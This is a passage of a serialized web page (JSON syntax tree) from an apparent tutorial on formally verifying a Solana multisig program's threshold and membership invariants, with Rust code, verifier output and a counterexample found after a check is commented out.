",{"type":23,"tag":213,"props":24468,"children":24469},{"style":274},[24470],{"type":28,"value":15743},{"type":23,"tag":213,"props":24472,"children":24473},{"style":220},[24474],{"type":28,"value":24475}," 0)\n",{"type":23,"tag":213,"props":24477,"children":24478},{"class":215,"line":533},[24479,24483,24487,24491,24495,24499,24503,24508,24512,24516,24520,24524],{"type":23,"tag":213,"props":24480,"children":24481},{"style":274},[24482],{"type":28,"value":15678},{"type":23,"tag":213,"props":24484,"children":24485},{"style":220},[24486],{"type":28,"value":23047},{"type":23,"tag":213,"props":24488,"children":24489},{"style":274},[24490],{"type":28,"value":124},{"type":23,"tag":213,"props":24492,"children":24493},{"style":220},[24494],{"type":28,"value":21072},{"type":23,"tag":213,"props":24496,"children":24497},{"style":274},[24498],{"type":28,"value":19468},{"type":23,"tag":213,"props":24500,"children":24501},{"style":220},[24502],{"type":28,"value":400},{"type":23,"tag":213,"props":24504,"children":24505},{"style":290},[24506],{"type":28,"value":24507},"u16",{"type":23,"tag":213,"props":24509,"children":24510},{"style":274},[24511],{"type":28,"value":562},{"type":23,"tag":213,"props":24513,"children":24514},{"style":290},[24515],{"type":28,"value":21090},{"type":23,"tag":213,"props":24517,"children":24518},{"style":230},[24519],{"type":28,"value":8913},{"type":23,"tag":213,"props":24521,"children":24522},{"style":290},[24523],{"type":28,"value":506},{"type":23,"tag":213,"props":24525,"children":24526},{"style":220},[24527],{"type":28,"value":19766},{"type":23,"tag":213,"props":24529,"children":24530},{"class":215,"line":543},[24531],{"type":23,"tag":213,"props":24532,"children":24533},{"style":220},[24534],{"type":28,"value":20313},{"type":23,"tag":213,"props":24536,"children":24537},{"class":215,"line":551},[24538,24542,24546,24550,24554,24558,24562,24566],{"type":23,"tag":213,"props":24539,"children":24540},{"style":230},[24541],{"type":28,"value":233},{"type":23,"tag":213,"props":24543,"children":24544},{"style":230},[24545],{"type":28,"value":254},{"type":23,"tag":213,"props":24547,"children":24548},{"style":257},[24549],{"type":28,"value":7203},{"type":23,"tag":213,"props":24551,"children":24552},{"style":220},[24553],{"type":28,"value":265},{"type":23,"tag":213,"props":24555,"children":24556},{"style":274},[24557],{"type":28,"value":9675},{"type":23,"tag":213,"props":24559,"children":24560},{"style":220},[24561],{"type":28,"value":24047},{"type":23,"tag":213,"props":24563,"children":24564},{"style":274},[24565],{"type":28,"value":9675},{"type":23,"tag":213,"props":24567,"children":24568},{"style":220},[24569],{"type":28,"value":9680},{"type":23,"tag":24,"props":24571,"children":24572},{},[24573],{"type":28,"value":24574},"And now we get:",{"type":23,"tag":202,"props":24576,"children":24578},{"code":24577},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[24579],{"type":23,"tag":209,"props":24580,"children":24581},{"__ignoreMap":7},[24582],{"type":28,"value":24577},{"type":23,"tag":24,"props":24584,"children":24585},{},[24586],{"type":28,"value":24587},"🥳🥳🥳",{"type":23,"tag":24,"props":24589,"children":24590},{},[24591],{"type":28,"value":24592},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":202,"props":24594,"children":24596},{"code":24595,"language":205,"meta":7,"className":206,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[24597],{"type":23,"tag":209,"props":24598,"children":24599},{"__ignoreMap":7},[24600,24623,24654],{"type":23,"tag":213,"props":24601,"children":24602},{"class":215,"line":216},[24603,24607,24611,24615,24619],{"type":23,"tag":213,"props":24604,"children":24605},{"style":1362},[24606],{"type":28,"value":15637},{"type":23,"tag":213,"props":24608,"children":24609},{"style":268},[24610],{"type":28,"value":23511},{"type":23,"tag":213,"props":24612,"children":24613},{"style":274},[24614],{"type":28,"value":8804},{"type":23,"tag":213,"props":24616,"children":24617},{"style":514},[24618],{"type":28,"value":4618},{"type":23,"tag":213,"props":24620,"children":24621},{"style":220},[24622],{"type":28,"value":1375},{"type":23,"tag":213,"props":24624,"children":24625},{"class":215,"line":226},[24626,24630,24634,24638,24642,24646,24650],{"type":23,"tag":213,"props":24627,"children":24628},{"style":1362},[24629],{"type":28,"value":17040},{"type":23,"tag":213,"props":24631,"children":24632},{"style":257},[24633],{"type":28,"value":23567},{"type":23,"tag":213,"props":24635,"children":24636},{"style":220},[24637],{"type":28,"value":265},{"type":23,"tag":213,"props":24639,"children":24640},{"style":290},[24641],{"type":28,"value":23576},{"type":23,"tag":213,"props":24643,"children":24644},{"style":274},[24645],{"type":28,"value":562},{"type":23,"tag":213,"props":24647,"children":24648},{"style":290},[24649],{"type":28,"value":23585},{"type":23,"tag":213,"props":24651,"children":24652},{"style":220},[24653],{"type":28,"value":2867},{"type":23,"tag":213,"props":24655,"children":24656},{"class":215,"line":524},[24657],{"type":23,"tag":213,"props":24658,"children":24659},{"style":220},[24660],{"type":28,"value":1208},{"type":23,"tag":24,"props":24662,"children":24663},{},[24664,24666,24672,24674,24679,24681,24686,24688,24693],{"type":28,"value":24665},"In this case this is actually redundant because if ",{"type":23,"tag":209,"props":24667,"children":24669},{"className":24668},[],[24670],{"type":28,"value":24671},"members.len() == 0",{"type":28,"value":24673}," then our threshold would also have to be ",{"type":23,"tag":209,"props":24675,"children":24677},{"className":24676},[],[24678],{"type":28,"value":4116},{"type":28,"value":24680}," (and our ",{"type":23,"tag":209,"props":24682,"children":24684},{"className":24683},[],[24685],{"type":28,"value":22799},{"type":28,"value":24687}," is not allowed to be ",{"type":23,"tag":209,"props":24689,"children":24691},{"className":24690},[],[24692],{"type":28,"value":4116},{"type":28,"value":24694},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":9693,"props":24696,"children":24698},{"id":24697},"_2-verify-threshold-requirements",[24699],{"type":28,"value":24700},"2. Verify threshold requirements",{"type":23,"tag":24,"props":24702,"children":24703},{},[24704],{"type":28,"value":24705},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":24,"props":24707,"children":24708},{},[24709,24711,24715],{"type":28,"value":24710},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":87,"props":24712,"children":24713},{},[24714],{"type":28,"value":1218},{"type":28,"value":24716}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":24,"props":24718,"children":24719},{},[24720,24722,24726,24728,24733],{"type":28,"value":24721},"In this case, we want to model this as an ",{"type":23,"tag":87,"props":24723,"children":24724},{},[24725],{"type":28,"value":21827},{"type":28,"value":24727}," on the ",{"type":23,"tag":209,"props":24729,"children":24731},{"className":24730},[],[24732],{"type":28,"value":22791},{"type":28,"value":24734}," account struct:",{"type":23,"tag":202,"props":24736,"children":24738},{"code":24737,"language":205,"meta":7,"className":206,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[24739],{"type":23,"tag":209,"props":24740,"children":24741},{"__ignoreMap":7},[24742,24749,24774,24781,24805,24856,24863,24882,24909,24936,24963,24990,25017,25044,25071,25106],{"type":23,"tag":213,"props":24743,"children":24744},{"class":215,"line":216},[24745],{"type":23,"tag":213,"props":24746,"children":24747},{"style":220},[24748],{"type":28,"value":20824},{"type":23,"tag":213,"props":24750,"children":24751},{"class":215,"line":226},[24752,24756,24761,24765,24770],{"type":23,"tag":213,"props":24753,"children":24754},{"style":220},[24755],{"type":28,"value":22887},{"type":23,"tag":213,"props":24757,"children":24758},{"style":290},[24759],{"type":28,"value":24760},"Clone",{"type":23,"tag":213,"props":24762,"children":24763},{"style":220},[24764],{"type":28,"value":424},{"type":23,"tag":213,"props":24766,"children":24767},{"style":290},[24768],{"type":28,"value":24769},"Debug",{"type":23,"tag":213,"props":24771,"children":24772},{"style":220},[24773],{"type":28,"value":20313},{"type":23,"tag":213,"props":24775,"children":24776},{"class":215,"line":524},[24777],{"type":23,"tag":213,"props":24778,"children":24779},{"style":220},[24780],{"type":28,"value":20832},{"type":23,"tag":213,"props":24782,"children":24783},{"class":215,"line":533},[24784,24789,24793,24797,24801],{"type":23,"tag":213,"props":24785,"children":24786},{"style":220},[24787],{"type":28,"value":24788}," (self",{"type":23,"tag":213,"props":24790,"children":24791},{"style":274},[24792],{"type":28,"value":124},{"type":23,"tag":213,"props":24794,"children":24795},{"style":220},[24796],{"type":28,"value":21122},{"type":23,"tag":213,"props":24798,"children":24799},{"style":274},[24800],{"type":28,"value":10026},{"type":23,"tag":213,"props":24802,"children":24803},{"style":220},[24804],{"type":28,"value":21131},{"type":23,"tag":213,"props":24806,"children":24807},{"class":215,"line":543},[24808,24812,24816,24820,24824,24828,24832,24836,24840,24844,24848,24852],{"type":23,"tag":213,"props":24809,"children":24810},{"style":274},[24811],{"type":28,"value":15678},{"type":23,"tag":213,"props":24813,"children":24814},{"style":220},[24815],{"type":28,"value":21055},{"type":23,"tag":213,"props":24817,"children":24818},{"style":274},[24819],{"type":28,"value":124},{"type":23,"tag":213,"props":24821,"children":24822},{"style":220},[24823],{"type":28,"value":21122},{"type":23,"tag":213,"props":24825,"children":24826},{"style":230},[24827],{"type":28,"value":623},{"type":23,"tag":213,"props":24829,"children":24830},{"style":290},[24831],{"type":28,"value":506},{"type":23,"tag":213,"props":24833,"children":24834},{"style":274},[24835],{"type":28,"value":8283},{"type":23,"tag":213,"props":24837,"children":24838},{"style":220},[24839],{"type":28,"value":13873},{"type":23,"tag":213,"props":24841,"children":24842},{"style":274},[24843],{"type":28,"value":124},{"type":23,"tag":213,"props":24845,"children":24846},{"style":220},[24847],{"type":28,"value":21034},{"type":23,"tag":213,"props":24849,"children":24850},{"style":274},[24851],{"type":28,"value":124},{"type":23,"tag":213,"props":24853,"children":24854},{"style":220},[24855],{"type":28,"value":21183},{"type":23,"tag":213,"props":24857,"children":24858},{"class":215,"line":551},[24859],{"type":23,"tag":213,"props":24860,"children":24861},{"style":220},[24862],{"type":28,"value":20313},{"type":23,"tag":213,"props":24864,"children":24865},{"class":215,"line":570},[24866,24870,24874,24878],{"type":23,"tag":213,"props":24867,"children":24868},{"style":230},[24869],{"type":28,"value":233},{"type":23,"tag":213,"props":24871,"children":24872},{"style":230},[24873],{"type":28,"value":887},{"type":23,"tag":213,"props":24875,"children":24876},{"style":290},[24877],{"type":28,"value":21206},{"type":23,"tag":213,"props":24879,"children":24880},{"style":220},[24881],{"type":28,"value":1375},{"type":23,"tag":213,"props":24883,"children":24884},{"class":215,"line":655},[24885,24889,24893,24897,24901,24905],{"type":23,"tag":213,"props":24886,"children":24887},{"style":230},[24888],{"type":28,"value":913},{"type":23,"tag":213,"props":24890,"children":24891},{"style":268},[24892],{"type":28,"value":21222},{"type":23,"tag":213,"props":24894,"children":24895},{"style":274},[24896],{"type":28,"value":277},{"type":23,"tag":213,"props":24898,"children":24899},{"style":290},[24900],{"type":28,"value":21081},{"type":23,"tag":213,"props":24902,"children":24903},{"style":220},[24904],{"type":28,"value":21235},{"type":23,"tag":213,"props":24906,"children":24907},{"style":537},[24908],{"type":28,"value":21240},{"type":23,"tag":213,"props":24910,"children":24911},{"class":215,"line":1176},[24912,24916,24920,24924,24928,24932],{"type":23,"tag":213,"props":24913,"children":24914},{"style":230},[24915],{"type":28,"value":913},{"type":23,"tag":213,"props":24917,"children":24918},{"style":268},[24919],{"type":28,"value":21252},{"type":23,"tag":213,"props":24921,"children":24922},{"style":274},[24923],{"type":28,"value":277},{"type":23,"tag":213,"props":24925,"children":24926},{"style":290},[24927],{"type":28,"value":21081},{"type":23,"tag":213,"props":24929,"children":24930},{"style":220},[24931],{"type":28,"value":21265},{"type":23,"tag":213,"props":24933,"children":24934},{"style":537},[24935],{"type":28,"value":21270},{"type":23,"tag":213,"props":24937,"children":24938},{"class":215,"line":1202},[24939,24943,24947,24951,24955,24959],{"type":23,"tag":213,"props":24940,"children":24941},{"style":230},[24942],{"type":28,"value":913},{"type":23,"tag":213,"props":24944,"children":24945},{"style":268},[24946],{"type":28,"value":21282},{"type":23,"tag":213,"props":24948,"children":24949},{"style":274},[24950],{"type":28,"value":277},{"type":23,"tag":213,"props":24952,"children":24953},{"style":290},[24954],{"type":28,"value":17599},{"type":23,"tag":213,"props":24956,"children":24957},{"style":220},[24958],{"type":28,"value":21295},{"type":23,"tag":213,"props":24960,"children":24961},{"style":537},[24962],{"type":28,"value":21300},{"type":23,"tag":213,"props":24964,"children":24965},{"class":215,"line":1758},[24966,24970,24974,24978,24982,24986],{"type":23,"tag":213,"props":24967,"children":24968},{"style":230},[24969],{"type":28,"value":913},{"type":23,"tag":213,"props":24971,"children":24972},{"style":268},[24973],{"type":28,"value":21312},{"type":23,"tag":213,"props":24975,"children":24976},{"style":274},[24977],{"type":28,"value":277},{"type":23,"tag":213,"props":24979,"children":24980},{"style":290},[24981],{"type":28,"value":17599},{"type":23,"tag":213,"props":24983,"children":24984},{"style":220},[24985],{"type":28,"value":21265},{"type":23,"tag":213,"props":24987,"children":24988},{"style":537},[24989],{"type":28,"value":21329},{"type":23,"tag":213,"props":24991,"children":24992},{"class":215,"line":1767},[24993,24997,25001,25005,25009,25013],{"type":23,"tag":213,"props":24994,"children":24995},{"style":230},[24996],{"type":28,"value":913},{"type":23,"tag":213,"props":24998,"children":24999},{"style":268},[25000],{"type":28,"value":21341},{"type":23,"tag":213,"props":25002,"children":25003},{"style":274},[25004],{"type":28,"value":277},{"type":23,"tag":213,"props":25006,"children":25007},{"style":290},[25008],{"type":28,"value":293},{"type":23,"tag":213,"props":25010,"children":25011},{"style":220},[25012],{"type":28,"value":21354},{"type":23,"tag":213,"props":25014,"children":25015},{"style":537},[25016],{"type":28,"value":21359},{"type":23,"tag":213,"props":25018,"children":25019},{"class":215,"line":1789},[25020,25024,25028,25032,25036,25040],{"type":23,"tag":213,"props":25021,"children":25022},{"style":230},[25023],{"type":28,"value":913},{"type":23,"tag":213,"props":25025,"children":25026},{"style":268},[25027],{"type":28,"value":21371},{"type":23,"tag":213,"props":25029,"children":25030},{"style":274},[25031],{"type":28,"value":277},{"type":23,"tag":213,"props":25033,"children":25034},{"style":290},[25035],{"type":28,"value":419},{"type":23,"tag":213,"props":25037,"children":25038},{"style":220},[25039],{"type":28,"value":21384},{"type":23,"tag":213,"props":25041,"children":25042},{"style":537},[25043],{"type":28,"value":21389},{"type":23,"tag":213,"props":25045,"children":25046},{"class":215,"line":1812},[25047,25051,25055,25059,25063,25067],{"type":23,"tag":213,"props":25048,"children":25049},{"style":230},[25050],{"type":28,"value":913},{"type":23,"tag":213,"props":25052,"children":25053},{"style":268},[25054],{"type":28,"value":21401},{"type":23,"tag":213,"props":25056,"children":25057},{"style":274},[25058],{"type":28,"value":277},{"type":23,"tag":213,"props":25060,"children":25061},{"style":290},[25062],{"type":28,"value":965},{"type":23,"tag":213,"props":25064,"children":25065},{"style":220},[25066],{"type":28,"value":424},{"type":23,"tag":213,"props":25068,"children":25069},{"style":537},[25070],{"type":28,"value":21418},{"type":23,"tag":213,"props":25072,"children":25073},{"class":215,"line":1838},[25074,25078,25082,25086,25090,25094,25098,25102],{"type":23,"tag":213,"props":25075,"children":25076},{"style":230},[25077],{"type":28,"value":913},{"type":23,"tag":213,"props":25079,"children":25080},{"style":268},[25081],{"type":28,"value":21430},{"type":23,"tag":213,"props":25083,"children":25084},{"style":274},[25085],{"type":28,"value":277},{"type":23,"tag":213,"props":25087,"children":25088},{"style":290},[25089],{"type":28,"value":21439},{"type":23,"tag":213,"props":25091,"children":25092},{"style":220},[25093],{"type":28,"value":434},{"type":23,"tag":213,"props":25095,"children":25096},{"style":290},[25097],{"type":28,"value":1532},{"type":23,"tag":213,"props":25099,"children":25100},{"style":220},[25101],{"type":28,"value":21452},{"type":23,"tag":213,"props":25103,"children":25104},{"style":537},[25105],{"type":28,"value":21457},{"type":23,"tag":213,"props":25107,"children":25108},{"class":215,"line":1851},[25109],{"type":23,"tag":213,"props":25110,"children":25111},{"style":220},[25112],{"type":28,"value":1208},{"type":23,"tag":24,"props":25114,"children":25115},{},[25116,25118,25123],{"type":28,"value":25117},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":209,"props":25119,"children":25121},{"className":25120},[],[25122],{"type":28,"value":22791},{"type":28,"value":25124}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":24,"props":25126,"children":25127},{},[25128,25130,25135],{"type":28,"value":25129},"Let's try this on the ",{"type":23,"tag":209,"props":25131,"children":25133},{"className":25132},[],[25134],{"type":28,"value":22870},{"type":28,"value":25136}," instruction that we've already seen:",{"type":23,"tag":202,"props":25138,"children":25140},{"code":25139},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[25141],{"type":23,"tag":209,"props":25142,"children":25143},{"__ignoreMap":7},[25144],{"type":28,"value":25139},{"type":23,"tag":24,"props":25146,"children":25147},{},[25148,25150,25155],{"type":28,"value":25149},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":209,"props":25151,"children":25153},{"className":25152},[],[25154],{"type":28,"value":22870},{"type":28,"value":277},{"type":23,"tag":202,"props":25157,"children":25159},{"code":25158,"language":205,"meta":7,"className":206,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[25160],{"type":23,"tag":209,"props":25161,"children":25162},{"__ignoreMap":7},[25163,25171,25179],{"type":23,"tag":213,"props":25164,"children":25165},{"class":215,"line":216},[25166],{"type":23,"tag":213,"props":25167,"children":25168},{"style":537},[25169],{"type":28,"value":25170},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":213,"props":25172,"children":25173},{"class":215,"line":226},[25174],{"type":23,"tag":213,"props":25175,"children":25176},{"style":537},[25177],{"type":28,"value":25178},"// return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":213,"props":25180,"children":25181},{"class":215,"line":524},[25182],{"type":23,"tag":213,"props":25183,"children":25184},{"style":537},[25185],{"type":28,"value":25186},"// }\n",{"type":23,"tag":24,"props":25188,"children":25189},{},[25190],{"type":28,"value":25191},"And run again:",{"type":23,"tag":202,"props":25193,"children":25195},{"code":25194},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[25196],{"type":23,"tag":209,"props":25197,"children":25198},{"__ignoreMap":7},[25199],{"type":28,"value":25194},{"type":23,"tag":24,"props":25201,"children":25202},{},[25203],{"type":28,"value":25204},"We get the following counterexample:",{"type":23,"tag":202,"props":25206,"children":25208},{"code":25207,"language":205,"meta":7,"className":206,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[25209],{"type":23,"tag":209,"props":25210,"children":25211},{"__ignoreMap":7},[25212,25223,25243,25263,25283,25303,25323,25343,25363,25383,25404,25425,25432,25439,25467],{"type":23,"tag":213,"props":25213,"children":25214},{"class":215,"line":216},[25215,25219],{"type":23,"tag":213,"props":25216,"children":25217},{"style":290},[25218],{"type":28,"value":17197},{"type":23,"tag":213,"props":25220,"children":25221},{"style":220},[25222],{"type":28,"value":1375},{"type":23,"tag":213,"props":25224,"children":25225},{"class":215,"line":226},[25226,25231,25235,25239],{"type":23,"tag":213,"props":25227,"children":25228},{"style":268},[25229],{"type":28,"value":25230}," account",{"type":23,"tag":213,"props":25232,"children":25233},{"style":274},[25234],{"type":28,"value":277},{"type":23,"tag":213,"props":25236,"children":25237},{"style":290},[25238],{"type":28,"value":21206},{"type":23,"tag":213,"props":25240,"children":25241},{"style":220},[25242],{"type":28,"value":1375},{"type":23,"tag":213,"props":25244,"children":25245},{"class":215,"line":524},[25246,25250,25254,25259],{"type":23,"tag":213,"props":25247,"children":25248},{"style":268},[25249],{"type":28,"value":23885},{"type":23,"tag":213,"props":25251,"children":25252},{"style":274},[25253],{"type":28,"value":277},{"type":23,"tag":213,"props":25255,"children":25256},{"style":514},[25257],{"type":28,"value":25258}," 32768",{"type":23,"tag":213,"props":25260,"children":25261},{"style":220},[25262],{"type":28,"value":944},{"type":23,"tag":213,"props":25264,"children":25265},{"class":215,"line":533},[25266,25271,25275,25279],{"type":23,"tag":213,"props":25267,"children":25268},{"style":268},[25269],{"type":28,"value":25270}," authority_index",{"type":23,"tag":213,"props":25272,"children":25273},{"style":274},[25274],{"type":28,"value":277},{"type":23,"tag":213,"props":25276,"children":25277},{"style":514},[25278],{"type":28,"value":4618},{"type":23,"tag":213,"props":25280,"children":25281},{"style":220},[25282],{"type":28,"value":944},{"type":23,"tag":213,"props":25284,"children":25285},{"class":215,"line":543},[25286,25291,25295,25299],{"type":23,"tag":213,"props":25287,"children":25288},{"style":268},[25289],{"type":28,"value":25290}," transaction_index",{"type":23,"tag":213,"props":25292,"children":25293},{"style":274},[25294],{"type":28,"value":277},{"type":23,"tag":213,"props":25296,"children":25297},{"style":514},[25298],{"type":28,"value":517},{"type":23,"tag":213,"props":25300,"children":25301},{"style":220},[25302],{"type":28,"value":944},{"type":23,"tag":213,"props":25304,"children":25305},{"class":215,"line":551},[25306,25311,25315,25319],{"type":23,"tag":213,"props":25307,"children":25308},{"style":268},[25309],{"type":28,"value":25310}," ms_change_index",{"type":23,"tag":213,"props":25312,"children":25313},{"style":274},[25314],{"type":28,"value":277},{"type":23,"tag":213,"props":25316,"children":25317},{"style":514},[25318],{"type":28,"value":517},{"type":23,"tag":213,"props":25320,"children":25321},{"style":220},[25322],{"type":28,"value":944},{"type":23,"tag":213,"props":25324,"children":25325},{"class":215,"line":570},[25326,25331,25335,25339],{"type":23,"tag":213,"props":25327,"children":25328},{"style":268},[25329],{"type":28,"value":25330}," bump",{"type":23,"tag":213,"props":25332,"children":25333},{"style":274},[25334],{"type":28,"value":277},{"type":23,"tag":213,"props":25336,"children":25337},{"style":514},[25338],{"type":28,"value":517},{"type":23,"tag":213,"props":25340,"children":25341},{"style":220},[25342],{"type":28,"value":944},{"type":23,"tag":213,"props":25344,"children":25345},{"class":215,"line":655},[25346,25350,25354,25359],{"type":23,"tag":213,"props":25347,"children":25348},{"style":268},[25349],{"type":28,"value":23898},{"type":23,"tag":213,"props":25351,"children":25352},{"style":274},[25353],{"type":28,"value":277},{"type":23,"tag":213,"props":25355,"children":25356},{"style":274},[25357],{"type":28,"value":25358}," ...",{"type":23,"tag":213,"props":25360,"children":25361},{"style":220},[25362],{"type":28,"value":944},{"type":23,"tag":213,"props":25364,"children":25365},{"class":215,"line":1176},[25366,25371,25375,25379],{"type":23,"tag":213,"props":25367,"children":25368},{"style":268},[25369],{"type":28,"value":25370}," allow_external_execute",{"type":23,"tag":213,"props":25372,"children":25373},{"style":274},[25374],{"type":28,"value":277},{"type":23,"tag":213,"props":25376,"children":25377},{"style":230},[25378],{"type":28,"value":9143},{"type":23,"tag":213,"props":25380,"children":25381},{"style":220},[25382],{"type":28,"value":944},{"type":23,"tag":213,"props":25384,"children":25385},{"class":215,"line":1202},[25386,25391,25395,25400],{"type":23,"tag":213,"props":25387,"children":25388},{"style":268},[25389],{"type":28,"value":25390}," keys",{"type":23,"tag":213,"props":25392,"children":25393},{"style":274},[25394],{"type":28,"value":277},{"type":23,"tag":213,"props":25396,"children":25397},{"style":290},[25398],{"type":28,"value":25399}," SparseVec",{"type":23,"tag":213,"props":25401,"children":25402},{"style":220},[25403],{"type":28,"value":1375},{"type":23,"tag":213,"props":25405,"children":25406},{"class":215,"line":1758},[25407,25412,25416,25421],{"type":23,"tag":213,"props":25408,"children":25409},{"style":268},[25410],{"type":28,"value":25411}," size",{"type":23,"tag":213,"props":25413,"children":25414},{"style":274},[25415],{"type":28,"value":277},{"type":23,"tag":213,"props":25417,"children":25418},{"style":514},[25419],{"type":28,"value":25420}," 5112",{"type":23,"tag":213,"props":25422,"children":25423},{"style":220},[25424],{"type":28,"value":944},{"type":23,"tag":213,"props":25426,"children":25427},{"class":215,"line":1767},[25428],{"type":23,"tag":213,"props":25429,"children":25430},{"style":220},[25431],{"type":28,"value":1896},{"type":23,"tag":213,"props":25433,"children":25434},{"class":215,"line":1789},[25435],{"type":23,"tag":213,"props":25436,"children":25437},{"style":220},[25438],{"type":28,"value":2249},{"type":23,"tag":213,"props":25440,"children":25441},{"class":215,"line":1812},[25442,25447,25451,25455,25459,25463],{"type":23,"tag":213,"props":25443,"children":25444},{"style":268},[25445],{"type":28,"value":25446}," info",{"type":23,"tag":213,"props":25448,"children":25449},{"style":274},[25450],{"type":28,"value":277},{"type":23,"tag":213,"props":25452,"children":25453},{"style":290},[25454],{"type":28,"value":892},{"type":23,"tag":213,"props":25456,"children":25457},{"style":220},[25458],{"type":28,"value":2572},{"type":23,"tag":213,"props":25460,"children":25461},{"style":274},[25462],{"type":28,"value":9675},{"type":23,"tag":213,"props":25464,"children":25465},{"style":220},[25466],{"type":28,"value":2581},{"type":23,"tag":213,"props":25468,"children":25469},{"class":215,"line":1838},[25470],{"type":23,"tag":213,"props":25471,"children":25472},{"style":220},[25473],{"type":28,"value":1208},{"type":23,"tag":24,"props":25475,"children":25476},{},[25477,25479,25484,25486,25491],{"type":28,"value":25478},"Here we see that the ",{"type":23,"tag":209,"props":25480,"children":25482},{"className":25481},[],[25483],{"type":28,"value":22799},{"type":28,"value":25485}," of the newly created ",{"type":23,"tag":209,"props":25487,"children":25489},{"className":25488},[],[25490],{"type":28,"value":22791},{"type":28,"value":25492}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":9693,"props":25494,"children":25496},{"id":25495},"verify-requirements-to-remove-a-member",[25497],{"type":28,"value":22829},{"type":23,"tag":24,"props":25499,"children":25500},{},[25501,25503,25508,25509,25514,25516,25522],{"type":28,"value":25502},"Now that we've seen both ",{"type":23,"tag":209,"props":25504,"children":25506},{"className":25505},[],[25507],{"type":28,"value":20209},{"type":28,"value":1466},{"type":23,"tag":209,"props":25510,"children":25512},{"className":25511},[],[25513],{"type":28,"value":21827},{"type":28,"value":25515}," let's take a look at the ",{"type":23,"tag":209,"props":25517,"children":25519},{"className":25518},[],[25520],{"type":28,"value":25521},"remove_member",{"type":28,"value":25523}," function:",{"type":23,"tag":202,"props":25525,"children":25527},{"code":25526,"language":205,"meta":7,"className":206,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[25528],{"type":23,"tag":209,"props":25529,"children":25530},{"__ignoreMap":7},[25531,25554,25582,25597,25642,25649,25661,25677,25689,25715,25723,25752,25759,25791,25798,25805,25879,25887,25947,25979,25986,26037,26044,26052,26145,26234,26288,26295,26340,26385],{"type":23,"tag":213,"props":25532,"children":25533},{"class":215,"line":216},[25534,25538,25542,25546,25550],{"type":23,"tag":213,"props":25535,"children":25536},{"style":220},[25537],{"type":28,"value":22887},{"type":23,"tag":213,"props":25539,"children":25540},{"style":290},[25541],{"type":28,"value":22892},{"type":23,"tag":213,"props":25543,"children":25544},{"style":220},[25545],{"type":28,"value":424},{"type":23,"tag":213,"props":25547,"children":25548},{"style":290},[25549],{"type":28,"value":24769},{"type":23,"tag":213,"props":25551,"children":25552},{"style":220},[25553],{"type":28,"value":20313},{"type":23,"tag":213,"props":25555,"children":25556},{"class":215,"line":226},[25557,25561,25565,25570,25574,25578],{"type":23,"tag":213,"props":25558,"children":25559},{"style":230},[25560],{"type":28,"value":233},{"type":23,"tag":213,"props":25562,"children":25563},{"style":230},[25564],{"type":28,"value":887},{"type":23,"tag":213,"props":25566,"children":25567},{"style":290},[25568],{"type":28,"value":25569}," 